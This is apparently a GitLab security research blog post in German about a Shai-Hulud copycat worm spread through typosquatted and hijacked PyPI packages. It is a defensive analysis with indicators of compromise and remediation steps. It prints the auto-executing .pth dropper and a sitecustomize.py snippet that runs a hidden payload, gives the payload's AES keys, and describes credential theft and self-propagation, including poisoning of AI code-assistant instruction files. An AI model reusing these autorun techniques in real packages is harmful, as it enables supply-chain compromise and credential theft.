Veröffentlicht am: 9. Juni 2026

7 Minuten Lesezeit

Shai-Hulud-Copycat-Kampagne zielt auf Python-Entwickler durch PyPI-Typosquatting

GitLabs Vulnerability Research-Team hat einen Python-Supply-Chain-Angriff auf PyPI entdeckt: Der Shai-Hulud-Wurm stiehlt Credentials aus CI/CD-Systemen.

Das Vulnerability Research-Team von GitLab hat einen koordinierten Supply-Chain-Angriff auf PyPI identifiziert, der eine Kopie der Shai-Hulud-Malware einsetzt. Wir haben fünf schädliche Pakete gefunden: vier Typosquats, die Flask, Requests und NumPy imitieren, und ein weaponized legitimes Projekt. Die Pakete führen Code beim Installieren aus, ohne einen Import oder Funktionsaufruf zu erfordern, und tragen einen selbstverbreitenden Credential Stealer, der CI/CD-Umgebungen aller großen Cloud-Anbieter ins Visier nimmt.

Wir haben bestätigt, dass GitLab keines der betroffenen Pakete verwendet, und teilen unsere Erkenntnisse, um der breiteren Security-Community eine effektive Reaktion zu ermöglichen.

Angriffsverlauf

Unsere Monitoring-Systeme haben am 7. Juni 2026 fünf schädliche PyPI-Pakete eines einzelnen Accounts (elitexp) markiert. Vier sind Typosquats:

  • rlask und tlask, Typosquats von Flask
  • rsquests, ein Typosquat von Requests
  • nhmpy, ein Typosquat von NumPy

Das fünfte, mflux-streamlit, ist ein legitimes Projekt mit echten Nutzern, das der Angreifer durch das Veröffentlichen bösartiger Versionen 0.0.3 und 0.0.4 nach der Typosquat-Welle weaponized hat.

Der Angreifer veröffentlichte zunächst saubere „Probe"-Versionen mit Versionsnummern, die exakt den aktuellen Real-Releases entsprachen (Flask 3.1.3, Requests 2.34.2 und NumPy 2.4.6). Sobald diese ohne Probleme indiziert waren, schob er neue Versionen mit eingebettetem Wurm-Payload nach.

Dies ist ein Copycat-Deployment. TeamPCP, die Gruppe hinter Shai-Hulud, hat den Wurm-Code am 12. Mai 2026 als Open Source veröffentlicht. Seitdem verfolgen wir unabhängige Akteure, die das Toolkit aufgreifen und auf neue Ziele richten. Diese Kampagne bringt denselben Wurm in das Python-Ökosystem.

Technische Analyse

Erster Infektionsvektor

Die ursprüngliche npm-Variante nutzte ein preinstall-Skript. Diese Kampagne verfolgt einen anderen Ansatz und nutzt Pythons .pth-Datei-Mechanismus. Wheel- Pakete können .pth-Dateien mitliefern, die Python beim Start automatisch verarbeitet – ohne expliziten Import. Jedes schädliche Paket enthält eine Datei wie rlask-setup.pth mit einem einzeiligen Dropper:

      import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

    

Der Dropper prüft auf eine Marker-Datei (.bun_ran im System-Temp-Verzeichnis), um eine erneute Ausführung zu vermeiden, lädt dann die Bun-JavaScript-Runtime von GitHub herunter und führt damit einen 5 MB großen verschleierten JavaScript-Payload aus, der im Paket gebündelt ist.

Frühe Versionen von rlask enthielten außerdem eine sitecustomize.py-Datei als Backup-Ausführungspfad. Python importiert sitecustomize beim Start automatisch, und diese Datei durchsuchte sys.path nach dem versteckten _index.js-Payload:

      import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

    

Der Angreifer hat diesen Backup-Mechanismus in späteren Versionen entfernt und den .pth-Ansatz offenbar für ausreichend befunden.

Payload-Verschleierung

Der JavaScript-Payload ist in drei Schichten gewickelt:

  1. Eine ROT-N-Zeichenchiffre, angewendet auf ein Integer-Array (der Rotationswert variiert je Paket: ROT-13 für [email protected], ROT-17 für rsquests, ROT-25 für tlask)
  2. AES-128-GCM-Verschlüsselung mit hardcodierten Keys, die zwei verschlüsselte Blobs erzeugt
  3. Standard Variable-Name-Mangling (_0x-Präfix-Obfuskierung) auf dem inneren Payload

Wir haben den Payload durch statische Analyse entschlüsselt, ohne Code auszuführen. Der erste Blob (907 Bytes) ist der Bun-Runtime-Downloader. Der zweite Blob (772 KB) ist der vollständige Shai-Hulud-Credential-Stealer mit 2.538 hardcodierten Strings.

Für Forscher, die eine eigene Analyse durchführen, hier die AES-Entschlüsselungskeys:

LayerKeyIV
Bun downloaderc95506221d18936328fbc7ddcd21e3dd48da5faeafac0ac88a410bb0
Worm payload7557c4e782a0622159476d1ea10d523655a7d25e0e61b77cc175bcc3

Credential Harvesting

Einmal aktiv, greift der Wurm Credentials auf allen großen Cloud- und CI/CD-Plattformen ab:

  • GitHub Actions: GITHUB_TOKEN, Personal Access Tokens, Fine-Grained Tokens, OIDC-Tokens, Organisations- und Repository-Secrets, Actions-Artifacts und Runner-Prozessspeicher
  • AWS: IAM-Access-Keys, Secret Keys, Session-Tokens, IMDS-Instanz-Credentials (169[.]254[.]169[.]254), Secrets-Manager-Einträge, SSM-Parameter, STS-Federation-Tokens
  • Azure: Client Secrets, Managed Identity Tokens, Key Vault Secrets, Federated Credentials, Microsoft Graph API Tokens
  • GCP: Service-Account-Keys, Application Default Credentials, Cloud-Platform-Scope-Tokens
  • HashiCorp Vault: Vault-Tokens aus sieben bekannten Dateisystempfaden (/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token und weitere), plus API-Zugriff und Kubernetes Vault Auth
  • npm / JFrog: npm-Tokens, JFrog/Artifactory-API-Keys, OIDC-Token-Exchange
  • PyPI: Publishing-Tokens, OIDC-Mint-Tokens
  • RubyGems: API-Keys, Gem-Publishing-Credentials
  • SSH: Private Keys für Lateral Movement
  • Kubernetes: Service-Account-Tokens, Kubeconfig-Dateien
  • Sigstore: OIDC-Tokens und Fulcio-Signing-Zertifikate, die dem Angreifer ermöglichen würden, Artefakte unter einer vertrauenswürdigen Identität zu signieren
  • Datenbanken: MongoDB-, MySQL-, PostgreSQL- und Redis-Connection-Strings mit eingebetteten Passwörtern

Selbstverbreitung

Wie die ursprüngliche npm-Variante ist dies nicht nur ein Stealer. Er verbreitet sich. Mit gestohlenen Credentials führt der Wurm Folgendes aus:

  • Committet .github/setup.js und Workflow-Dateien in zugängliche GitHub-Repositories und bewirkt damit, dass der Wurm in anderen CI-Pipelines erneut ausgeführt wird
  • Injiziert .github/copilot-instructions.md, um KI-Code-Assistenten zu vergiften
  • Veröffentlicht zusätzliche vergiftete Pakete auf PyPI, npm und RubyGems mit gestohlenen Registry-Tokens
  • Versucht Privilege Escalation auf selbst gehosteten CI-Runnern durch Injektion von Sudoers-Regeln
  • Prüft auf StepSecuritys harden-runner und passt das Verhalten bei Erkennung an

Der Angreifer

Alle fünf Pakete gehören dem PyPI-Account elitexp. Der Account wurde im November 2024 mit einem legitimen Paket erstellt (mflux-streamlit, eine Streamlit-UI für Bildgenerierung mit 11 Stars auf GitHub). Der zugehörige GitHub-Account (github[.]com/elitexp) ist über 13 Jahre alt und hat 43 öffentliche Repositories, darunter Uni-Coursework und Laravel-Projekte.

Upload-Metadaten zeigen, dass alle Pakete mit Bun/1.3.14 als User-Agent veröffentlicht wurden – derselben Runtime, die die Malware als Teil ihrer Ausführungskette herunterlädt.

Der Angreifer hat auch mflux-streamlit selbst weaponized. Versionen 0.0.1 und 0.0.2 sind sauber, aber Versionen 0.0.3 und 0.0.4, veröffentlicht um 15:23 und 15:37 UTC nach der Typosquat-Kampagne, enthalten denselben .pth-Dropper und obfuskierten Payload. Das macht den Angriff gefährlicher als ein typischer Typosquat: mflux-streamlit ist ein echtes Projekt mit bestehenden Nutzern, die das vergiftete Update durch normale Abhängigkeitsauflösung erhalten könnten.

Indicators of Compromise

TypeIndicatorDescription
packagerlask 3.1.4-3.1.7Malicious Flask typosquat
packagetlask 3.1.4Malicious Flask typosquat
packagersquests 2.34.3Malicious Requests typosquat
packagenhmpy 2.4.7Malicious NumPy typosquat
packagemflux-streamlit 0.0.3, 0.0.4Weaponized legitimate package
file{package}-setup.pthAuto-executing dropper (SHA256: 6506d317...)
filesitecustomize.pyBackup auto-execution (present in rlask only)
file{package}/_index.jsObfuscated worm payload (5.2MB)
file.bun_ranExecution marker in system temp directory
networkhxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zipBun runtime download
networkhxxps[://]upload[.]pypi[.]org/legacy/Worm publishes poisoned PyPI packages
networkhxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/AWS IMDS credential theft
networkhxxps[://]login[.]microsoftonline[.]com/Azure AD token acquisition
networkhxxps[://]fulcio[.]sigstore[.]devSigstore certificate request
actorelitexp (PyPI)Package owner
actorBun/1.3.14Upload user-agent

Maßnahmen im Kompromittierungsfall

Falls eines dieser Pakete in der eigenen Umgebung installiert war:

  1. Das Paket sofort entfernen und im System-Temp-Verzeichnis nach der Marker-Datei .bun_ran suchen.
  2. Alle Credentials rotieren, die in der Umgebung zugänglich waren, in der das Paket installiert wurde. Dazu gehören CI/CD-Tokens, Cloud-Provider-Credentials, SSH-Keys und Registry-Publishing-Tokens.
  3. GitHub-Repositories auf unerwartete Commits prüfen, insbesondere auf Dateien wie .github/setup.js, .github/copilot-instructions.md oder geänderte Workflow-Dateien.
  4. Package-Registry-Accounts (PyPI, npm, RubyGems) auf nicht selbst veröffentlichte Pakete prüfen.
  5. CI/CD-Pipeline-Logs auf unerwartete Bun-Downloads oder JavaScript-Ausführungen überprüfen.

Timeline

DateEvent
2026-05-12TeamPCP veröffentlicht den Shai-Hulud-Wurm als Open Source
2026-06-07 13:47 UTCProbe-Versionen veröffentlicht ([email protected], [email protected])
2026-06-07 14:20 UTCErste bösartige Version ([email protected]), innerhalb von 28 Sekunden erkannt
2026-06-07 14:24 UTCAutomatische Analyse abgeschlossen, als bösartig/kritisch markiert
2026-06-07 14:27-15:04 UTCSechs weitere bösartige Versionen über alle vier Paketnamen veröffentlicht
2026-06-07 15:23-15:37 UTCAngreifer weaponized eigenes legitimes mflux-streamlit-Paket (v0.0.3, v0.0.4)
2026-06-07Untersuchung bestätigt vollständigen Shai-Hulud-Wurm durch statische Analyse
2026-06-07 16:01 UTCAlle bösartigen Pakete dem PyPI-Security-Team gemeldet
2026-06-08 03:15:06 UTCAdvisory zur GitLab Advisory Database hinzugefügt
2026-06-08PyPI entfernt alle Releases der bösartigen Pakete

GitLab als Erkennungshilfe

Wer GitLab Ultimate einsetzt, kann mit Dependency Scanning automatisch die Exposition gegenüber diesen Paketen in Projekten aufdecken. Wir haben Advisories (GMS-2026-572 bis GMS-2026-576) für alle fünf Pakete in der GitLab Advisory Database eingereicht. Nach dem Merge wird jedes Projekt mit aktiviertem Dependency Scanning diese Pakete in Pipeline-Ergebnissen und dem Vulnerability Report markieren.

Für Teams, die viele Repositories verwalten, kann GitLab Duo Chat mit dem Security Analyst Agent die schnelle Triage unterstützen. Mögliche Fragen:

  • "Are any of my dependencies affected by the Shai-Hulud PyPI campaign?"
  • "Does this project have any malicious Python dependencies?"

Ausblick

Diese Kampagne haben wir nach der Open-Source-Veröffentlichung des Shai-Hulud-Wurms durch TeamPCP im Mai erwartet. Unabhängige Akteure greifen das Toolkit auf und setzen es gegen neue Ökosysteme ein. Die Python-Variante verwendet einen anderen ersten Infektionsvektor (.pth-Dateien statt preinstall-Skripte), trägt aber denselben Credential-Harvesting- und Selbstverbreitungs-Code darunter.

Unsere Monitoring-Systeme verfolgen weiterhin Copycat-Deployments über npm, PyPI und andere Registries. Wir werden diesen Beitrag aktualisieren, sobald weitere Informationen vorliegen.

Weitere Artikel des Vulnerability Research-Teams auf der Security Labs-Website.

Feedback erwünscht

Hat dir dieser Blogbeitrag gefallen? Hast du Fragen oder Feedback? Erstelle ein neues Diskussionsthema im GitLab-Community-Forum und lass andere an deinen Eindrücken teilhaben.

Feedback teilen

Beginne noch heute, schneller zu entwickeln

Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.